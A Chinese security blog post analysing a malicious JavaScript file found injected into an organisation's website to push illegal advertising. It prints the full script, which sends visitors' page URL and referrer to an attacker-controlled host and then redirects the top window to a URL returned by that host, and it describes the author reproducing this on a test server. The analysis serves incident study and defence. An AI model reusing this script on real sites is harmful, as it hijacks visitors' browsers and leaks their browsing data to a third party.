一次木马脚本重大安全事件分析 – 作者:lesssafe

起因

前不久火绒安全发布了一篇文章,该文章分析了某单位官网被嵌入恶意代码,导致推广非法广告。当天得知该消息后也是第一时间进行了复现。因保密要求,本文章不会展示任何与该单位相关的信息。

恶意代码分析

恶意代码执行流程

1605701933_5fb5112dcbe2a2cff14de.png!small

整体代码

下面是截获的恶意js文件,此恶意代码分2部分讲解。通过分析此恶意代码,分析到该代码主要有3个函数组成。其中DL()函数是核心控制函数。

1605703328_5fb516a0e8c5bc6df43a2.png!small?1605703329535

(function(){
function initXMLhttp() {

    var xmlhttp;
    if (window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    } else {
    
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }

    return xmlhttp;
}

function minAjax(config) {


    if (!config.url) {
        return;

    }

    if (!config.type) {
        return;

    }

    if (!config.method) {
        config.method = true;
    }


    if (!config.debugLog) {
        config.debugLog = false;
    }

    var sendString = [],
        sendData = config.data;
    if( typeof sendData === "string" ){
        var tmpArr = String.prototype.split.call(sendData,'&');
        for(var i = 0, j = tmpArr.length; i < j; i++){
            var datum = tmpArr[i].split('=');
            sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
        }
    }else if( typeof sendData === 'object' && !( sendData instanceof String ) ){
        for (var k in sendData) {
            var datum = sendData[k];
            if( Object.prototype.toString.call(datum) == "[object Array]" ){
                for(var i = 0, j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
                }
            }else{
                sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
            }
        }
    }
    sendString = sendString.join('&');

    if(window.XDomainRequest) {
        var xmlhttp = new window.XDomainRequest();
        xmlhttp.onload = function () {
            if(config.success){
                config.success(xmlhttp.responseText);
            }
        };
        xmlhttp.open("POST", config.url);
        xmlhttp.send(sendString);
    }else{

        var xmlhttp = initXMLhttp();

        xmlhttp.onreadystatechange = function() {

            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {

                if (config.success) {
                    config.success(xmlhttp.responseText, xmlhttp.readyState);
                }

            } else {

            }
        }

        if (config.type == "GET") {
            xmlhttp.open("GET", config.url + "?" + sendString, config.method);
            xmlhttp.send();

        }
        if (config.type == "POST") {
            xmlhttp.open("POST", config.url, config.method);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.send(sendString);    
        }


    }

}

	dL();

	function dL(){
	var host = 'http://mars.cdncontentdelivery.com/f';
		var config = {
		    url: host + "/stats.php",
		    type: "POST",
		    data: {
				vbase: document.baseURI,
				vhref: location.href,
				vref: document.referrer, 				k: "YXViZGFzLmNvbQ==",
				ek: "dW5pb24xLmF1YmRhcy5jb20=",
				t: Math.floor(new Date().getTime() / 1000), 				tg: ""
		    },
		    success: onSuccessCallback
		};

		function bl(resp){
			!function(dr){function t(){return!!localStorage&&localStorage.getItem(a)}function e(){o(),
	        parent.top.window.location.href=c}function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}}
	        function n(){if(t()){var o=localStorage&&localStorage.getItem(a);r>o&&e()}else e()}var a="MenuIdentifier",
	        r=Math.floor((new Date).getTime()/1e3),c=dr,i=86400;n()}(resp);
		}

		function onSuccessCallback(response){
				if(response && response.indexOf('http') > -1){
					bl(response);
				}
		}

		
		minAjax(config);

	}
})();

核心恶意代码

图片解释了各个函数功能,本函数首先将所需要的请求内容放入config、confg中调用了onSuccessCallback函数,onSuccessCallback调用了bl函数。

1605703926_5fb518f6e0500cf72b872.png!small?1605703927514

执行恶意代码

minAjax函数主要作用是将请求的数据进行初步处理,处理完后进行跨域请求。

1605706797_5fb5242d3cc1b70064048.png!small?1605706798053

1605707403_5fb5268b9fa95aec0afe5.png!small?1605707404255

代码执行流程复现

在自己服务器上引用了恶意代码

1605709678_5fb52f6e27abd382e7302.png!small?1605709681692

通过下面流程可以知道在访问自己服务器的时候会请求某网站js文件,js文件再次请求黑客控制服务器

1605709722_5fb52f9a7984ecc637d0a.png!small?1605709723103

当请求黑客控制服务器时返回数据包是false,说明目前黑客控制服务器已经下线了恶意网站推广。

1605709976_5fb530983ab2dc6fd4edc.png!small?1605709979150

总结

此次安全事件给了我们警告,在开发引用js文件时一定要有控制权,不要引用别的网站js链接。

来源:freebuf.com 2020-11-18 22:40:18 by: lesssafe

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论